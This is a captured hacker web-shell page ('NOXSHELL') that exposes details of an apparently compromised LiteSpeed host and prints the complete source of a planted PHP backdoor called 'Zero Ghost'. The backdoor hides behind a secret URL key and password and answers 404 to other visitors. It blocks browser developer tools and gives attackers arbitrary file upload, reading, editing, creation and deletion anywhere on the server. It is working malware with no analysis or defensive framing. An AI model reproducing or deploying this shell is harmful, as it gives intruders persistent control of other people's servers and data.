NOXSHELL
Server: LiteSpeed
System: Linux br-asc-web1432.main-hosting.eu 5.14.0-611.16.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Dec 22 03:40:39 EST 2025 x86_64
User: u728655182 (728655182)
PHP: 8.1.33
Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Upload Files
File: //var/tmp/php_C6Wyei.php
<?php
    error_reporting(0);
    session_start();

    if (!isset($_SESSION['key_verified'])) {
        if (!isset($_GET['key']) || $_GET['key'] !== 'TwGroup') {
            http_response_code(404); // atau kosongkan
            exit;
        } else {
            // Jika key cocok, tandai session agar tidak perlu lagi
            $_SESSION['key_verified'] = true;
        }
    }

    // =========================
    // Ganti hash ini dengan hasil dari password_hash('Kepo Ya ?', PASSWORD_DEFAULT)
    $hashed_password = '$2y$10$nXYXSvJ5Xl4KGP/17NYI5.0tc2DX11iGpibNIcMs20KNCMdco/Vzu';
    // =========================

    if (isset($_GET['logout'])) {
        session_destroy();
        header("Location: " . $_SERVER['PHP_SELF']);
        exit;
    }

    if (!isset($_SESSION['login'])) {
        if (isset($_POST['password'])) {
            if (password_verify($_POST['password'], $hashed_password)) {
                $_SESSION['login'] = true;
                header("Location: " . $_SERVER['PHP_SELF']);
                exit;
            } else {
                $error = "Password salah!";
            }
        }

        echo '<!DOCTYPE html>
        <html>
            <head>
                <title>Zero Ghost</title>
                <meta name="robots" content="noindex,nofollow">
                <link rel="icon" type="image/png" href="https://media.istockphoto.com/id/1440462094/id/vektor/ilustrasi-tengkorak-hijau-ilustrasi-vektor-tema-hacker.jpg?s=170667a&w=0&k=20&c=oRJEBh5IEWe9To_CQhMZ9xkyKd1g6qkNHSyJi9V0lpo=" />
                <style>
                    body { background: #000; color: #28a745; font-family: Arial; text-align:center; padding-top: 100px; }
                    input { padding: 10px; border: none; border-radius: 5px; background: #000; color:gold; }
                    .error { color: red; }
                </style>
            </head>
            <body>';
            if (isset($error))
                echo '<p class="error">' . $error . '</p>';
            echo '<form method="POST">
                    <input type="password" name="password" placeholder="_"/>
                    <input type="submit" value="Login" style="display: none;"/>
                </form>
            </body>
        </html>';
        exit;
    }
?>
<!DOCTYPE html>
<html>
    <head>
        <title>Zero Ghost by SS</title>
        <link rel="icon" type="image/png" href="https://media.istockphoto.com/id/1440462094/id/vektor/ilustrasi-tengkorak-hijau-ilustrasi-vektor-tema-hacker.jpg?s=170667a&w=0&k=20&c=oRJEBh5IEWe9To_CQhMZ9xkyKd1g6qkNHSyJi9V0lpo=" />
        <meta name="robots" content="noindex,nofollow">
        <link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet">
        <link href="https://cdn.jsdelivr.net/npm/simple-datatables@7.1.2/dist/style.min.css" rel="stylesheet" />
        <script>
            document.addEventListener('keydown', function (event) {
                if ((event.ctrlKey && event.key === 'u') ||
                    (event.ctrlKey && event.shiftKey && event.key === 'I') ||
                    (event.ctrlKey && event.shiftKey && event.key === 'J') ||
                    (event.ctrlKey && event.key === 's') ||
                    event.key === 'F12') {
                    event.preventDefault();
                }
            });

            document.addEventListener('contextmenu', function (event) {
                event.preventDefault();
            });
        </script>
        <style>
            * {
                box-sizing: border-box;
                font-family: 'Titillium Web', sans-serif;
                margin: 0;
                padding: 0;
            }
            body {
                background: url(https://images.hdqwalls.com/wallpapers/security-break-grim-reaper-hacker-qj.jpg) no-repeat center center fixed;
                background-size: cover;
                background-color: black;
                color: #28a745;
                min-height: 100vh;
            }
            h1 {
                text-align: center;
                font-size: 48px;
                margin: 30px 0 10px;
                text-shadow: 2px 2px 4px #000;
            }
            .container {
                max-width: 1200px;
                margin: 0 auto;
                padding: 20px;
                background: rgba(0, 0, 0, 0.75);
                border-radius: 12px;
                box-shadow: 0 0 20px #28a74555;
            }
            .dir {
                text-align: center;
                margin: 20px 0;
                font-size: 18px;
                word-wrap: break-word;
            }
            .dir a {
                color: #28a745;
                text-decoration: none;
                margin: 0 4px;
                text-shadow: 1px 1px 1px #000;
            }
            .dir a:hover {
                color: red;
            }
            form {
                text-align: center;
                margin: 10px auto;
            }
            input[type="file"],
            input[type="text"],
            input[type="submit"],
            button {
                padding: 10px 15px;
                margin: 5px;
                border-radius: 5px;
                border: 1px solid #28a745;
                background: #000;
                color: #28a745;
                font-size: 16px;
            }
            input[type="file"] {
                color: black;
            }
            input[type="text"] {
                width: 220px;
                background: rgb(0, 63, 15);
                color: gold;
            }
            input[type="submit"]:hover,
            button:hover {
                background-color: #28a745;
                color: #fff;
                cursor: pointer;
            }
            table {
                width: 100%;
                border-collapse: collapse;
                margin-top: 20px;
                background-color: rgba(40, 167, 69, 0.1);
            }
            th, td {
                border: 2px solid #28a745;
                padding: 12px;
                text-align: left;
                font-size: 18px;
            }
            th {
                background-color: rgba(40, 167, 69, 0.2);
            }
            td a {
                color: #28a745;
                text-decoration: none;
                font-weight: bold;
            }
            td a:hover {
                color: red;
            }
            .button1 {
                display: inline-block;
                margin: 2px;
                padding: 6px 12px;
                background-color: rgb(0, 63, 15);
                color:gold;
                border: 1px solid #28a745;
                border-radius: 5px;
                font-size: 14px;
                text-decoration: none;
                box-shadow: 0 2px 5px #333;
                transition: all 0.2s ease-in-out;
            }
            .button2 {
                display: inline-block;
                margin: 2px;
                padding: 6px 12px;
                background-color: maroon;
                color:rgb(255, 255, 255);
                border: 1px solid rgb(0, 255, 60);
                border-radius: 5px;
                font-size: 14px;
                text-decoration: none;
                box-shadow: 0 2px 5px #333;
                transition: all 0.2s ease-in-out;
            }
            .button1:hover {
                background-color: #28a745;
                color: #fff;
                box-shadow: 0 0 10px #28a745;
            }
            textarea {
                width: 95%;
                height: 500px;
                padding: 10px;
                margin: 20px auto;
                display: block;
                background-color: rgba(40, 167, 69, 0.3);
                color: white;
                font-size: 14px;
                font-family: monospace;
                border-radius: 6px;
                border: 1px solid #28a745;
                box-shadow: 0 0 5px #28a745;
                resize: vertical;
            }
            .close {
                position: absolute;
                top: 15px;
                right: 20px;
                background-color: #ff4d4d;
                color: white;
                border: none;
                padding: 8px 12px;
                font-size: 16px;
                font-weight: bold;
                border-radius: 5px;
                cursor: pointer;
                transition: all 0.2s ease-in-out;
                z-index: 999;
                text-decoration: none;
            }
            .close:hover {
                background-color: #cc0000;
                box-shadow: 0 0 12px red;
            }
            .btn-dir {
                width:180px;
                padding:4px;
                border:1px solid #28a745;
                border-radius:4px;
                color:black;
            }
            th{
                color:gold;
            }
        </style>
    </head>
    <body>
        <div class="container">
            <a class="close" href="?logout=true" class="button1">Log out</a>
            <h1>Zero Ghost</h1>
            <div class="dir">
                <?php
                    if (isset($_GET['dir'])) {
                        $dir = $_GET['dir'];
                    } else {
                        $dir = getcwd();
                    }

                    $dir = str_replace("\\", "/", $dir);
                    $dirs = explode("/", $dir);

                    foreach ($dirs as $key => $value) {
                        if ($value == "" && $key == 0) {
                            echo '<a href="/">/</a>';
                            continue;
                        }
                        echo '<a href="?dir=';

                        for ($i = 0; $i <= $key; $i++) {
                            echo "$dirs[$i]";
                            if ($key !== $i)
                                echo "/";
                        }
                        echo '">' . $value . '</a>/';
                    }

                    if (isset($_POST['submit'])) {
                        $namafile = $_FILES['upload']['name'];
                        $tempatfile = $_FILES['upload']['tmp_name'];
                        $tempat = $_GET['dir'];
                        $error = $_FILES['upload']['error'];
                        $ukuranfile = $_FILES['upload']['size'];

                        move_uploaded_file($tempatfile, $dir . '/' . $namafile);
                        echo "<script>alert('diupload!!!');</script>";
                    }

                    if (isset($_POST['mkfolder'])) {
                        $folderName = trim($_POST['newfolder']);
                        $folderName = basename($folderName);
                        $targetPath = $dir . '/' . $folderName;

                        if ($folderName === '') {
                            echo "<script>alert('Nama folder tidak boleh kosong');</script>";
                        } elseif (file_exists($targetPath)) {
                            echo "<script>alert('Folder sudah ada');</script>";
                        } else {
                            if (mkdir($targetPath, 0755)) {
                                echo "<script>alert('Folder berhasil dibuat');window.location='?dir=$dir';</script>";
                            } else {
                                echo "<script>alert('Gagal membuat folder');</script>";
                            }
                        }
                    }
                    if (isset($_POST['createfile'])) {
                        $filename = basename($_POST['filename']);
                        $content  = $_POST['filecontent'];
                        $path     = $dir . '/' . $filename;

                        if (file_exists($path)) {
                            echo "<script>alert('File sudah ada!');</script>";
                        } else {
                            if (file_put_contents($path, $content) !== false) {
                                echo "<script>alert('File berhasil dibuat');window.location='?dir=$dir';</script>";
                            } else {
                                echo "<script>alert('Gagal membuat file');</script>";
                            }
                        }
                    }

                ?>
                <div>
                    <form method="post" enctype="multipart/form-data">
                        <input type="file" name="upload" style="color:gold;">
                        <input class="btn" type="submit" name="submit" value="Upload">
                    </form>
                    <form method="post" style="margin-top:10px;">
                        <input class="btn-dir" type="text" name="newfolder" placeholder="Nama Folder">
                        <button class="btn" type="submit" name="mkfolder">Create</button>
                    </form>
                    <button type="button" class="btn" onclick="openCreateFile()">Create File</button>
                </div>
            </div>
            <table>
                <tr>
                    <th>Nama File / Folder</th>
                    <th>Size</th>
                    <th>Action</th>
                </tr>
                <?php
                    if (isset($_GET['deletefolder'])) {
                        $folderToDelete = $_GET['deletefolder'];
                        if (is_dir($folderToDelete)) {
                            // Cek apakah folder kosong
                            $files = scandir($folderToDelete);
                            if (count($files) == 2) { // hanya . dan ..
                                rmdir($folderToDelete);
                                echo "<script>alert('Folder berhasil dihapus');window.location='?dir=$dir';</script>";
                            } else {
                                echo "<script>alert('Folder tidak kosong, tidak bisa dihapus');</script>";
                            }
                        }
                    }
                    if (isset($_GET['renamefolder'])) {
                        if (isset($_POST['newname'])) {
                            $newPath = $dir . '/' . basename($_POST['newname']);
                            if (rename($_GET['renamefolder'], $newPath)) {
                                echo '<script>alert("Rename folder berhasil");window.location="?dir=' . $dir . '";</script>';
                            } else {
                                echo '<font color="red">Rename folder gagal</font><br />';
                            }
                        }

                        echo '<br><center><form method="POST">
                            New Folder Name : <input name="newname" type="text" size="20" value="' . $_GET['nama'] . '" />
                            <input type="hidden" name="path" value="' . $_GET['dir'] . '">
                            <input type="submit" value="Rename" />
                            </form></center>';
                    }

                    $scan = scandir($dir);

                    foreach ($scan as $directory) {
                        if (!is_dir($dir . '/' . $directory) || $directory == '.' || $directory == '..')
                            continue;

                        echo '
                            <tr>
                            <td><a href="?dir=' . $dir . '/' . $directory . '">' . $directory . '</a></td>
                            <td>--</td>
                            <td>
                                <a href="?dir=' . $dir . '&renamefolder=' . $dir . '/' . $directory . '&nama=' . $directory . '" class="button1">Rename</a>
                                <a href="?dir=' . $dir . '&deletefolder=' . $dir . '/' . $directory . '" class="button2">Delete</a>
                            </td>
                            </tr>';
                    }

                    foreach ($scan as $file) {
                        if (!is_file($dir . '/' . $file))
                            continue;

                        $jumlah = filesize($dir . '/' . $file) / 1024;
                        $jumlah = round($jumlah, 3);
                        if ($jumlah >= 1024) {
                            $jumlah = round($jumlah / 1024, 2) . 'MB';
                        } else {
                            $jumlah = $jumlah . 'KB';
                        }

                        echo '
                            <tr>
                                <td><a href="?dir=' . $dir . '&open=' . $dir . '/' . $file . '">' . $file . '</a></td>
                                <td>' . $jumlah . '</td>
                                <td>
                                    <a href="?dir=' . $dir . '&rename=' . $dir . '/' . $file . '&nama=' . $file . '" class="button1">Rename</a>
                                    <a href="?dir=' . $dir . '&ubah=' . $dir . '/' . $file . '" class="button1">Edit</a>
                                    <a href="?dir=' . $dir . '&delete=' . $dir . '/' . $file . '" class="button2">Delete</a>
                                </td>
                            </tr>';
                    }

                    if (isset($_GET['open'])) {
                        echo '
                            <br />
                            <style> table { display: none; } </style>
                            <textarea>' . htmlspecialchars(file_get_contents($_GET['open'])) . '</textarea>';
                    }

                    if (isset($_GET['delete'])) {
                        if (unlink($_GET['delete'])) {
                            echo "<script>alert('dihapus');window.location='?dir=" . $dir . "';</script>";
                        }
                    }

                    if (isset($_GET['ubah'])) {
                        echo '
                            <style> table { display: none; } </style>
                            <center>
                                <form method="post" action="">
                                <input type="hidden" name="object" value="' . $_GET['ubah'] . '">
                                <textarea name="edit">' . htmlspecialchars(file_get_contents($_GET['ubah'])) . '</textarea>
                            </center>
                            <div>
                                <center>
                                    <button type="submit" name="go" value="Submit" class="button1">SAVE</button>
                                    <a href="?dir=' . $dir . '" class="button1">. BACK .</a>
                                </center>
                            </div>
                            </form>';
                    }

                    if (isset($_POST['edit'])) {
                        $data = fopen($_POST["object"], 'w');
                        if (fwrite($data, $_POST['edit'])) {
                            echo '<script>alert("Berhasil diedit!!!");window.location="?dir=' . $dir . '";</script>';
                        } else {
                            echo "<script>alert('gagal');</script>";
                        }
                    }

                    if ($_GET['rename']) {
                        if (isset($_POST['newname'])) {
                            if (rename($_GET['rename'], $_GET['dir'] . '/' . $_POST['newname'])) {
                                echo '<font color="green">Ganti Nama Berhasil</font><br/>';
                                echo "<script>window.location='?dir=" . $dir . "';</script>";
                            } else {
                                echo '<font color="red">Ganti Nama Gagal</font><br />';
                            }
                        }
                        echo '<br>
                            <center>
                                <form method="POST">
                                    New Name : <input name="newname" type="text" size="20" value="' . $_GET['nama'] . '" />
                                    <input type="hidden" name="path" value="' . $_GET['dir'] . '">
                                    <input type="hidden" name="opt" value="rename">
                                    <input type="submit" value="Go" />
                                </form>
                            </center>
                        ';
                    }
                ?>
            </table>
        </div>
        <div id="createFileModal" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.8); z-index:9999;">
            <div style="background:#000; border:2px solid #28a745; width:500px; max-width:95%; margin:80px auto; padding:20px; border-radius:10px; box-shadow:0 0 15px #28a745;">
                <h3 style="color:gold; text-align:center;">Create New File</h3>
                <form method="post">
                    <input type="text" name="filename" placeholder="nama_file.php" required style="width:95%; margin-bottom:10px;">
                    <textarea name="filecontent" placeholder="Isi file..." style="height:200px;"></textarea>
                    <br>
                    <center>
                        <button type="submit" name="createfile" class="button1">Create</button>
                        <button type="button" onclick="closeCreateFile()" class="button2">Cancel</button>
                    </center>
                </form>
            </div>
        </div>
        <script>
            function openCreateFile() {
                document.getElementById("createFileModal").style.display = "block";
            }
            function closeCreateFile() {
                document.getElementById("createFileModal").style.display = "none";
            }
        </script>
    </body>
</html>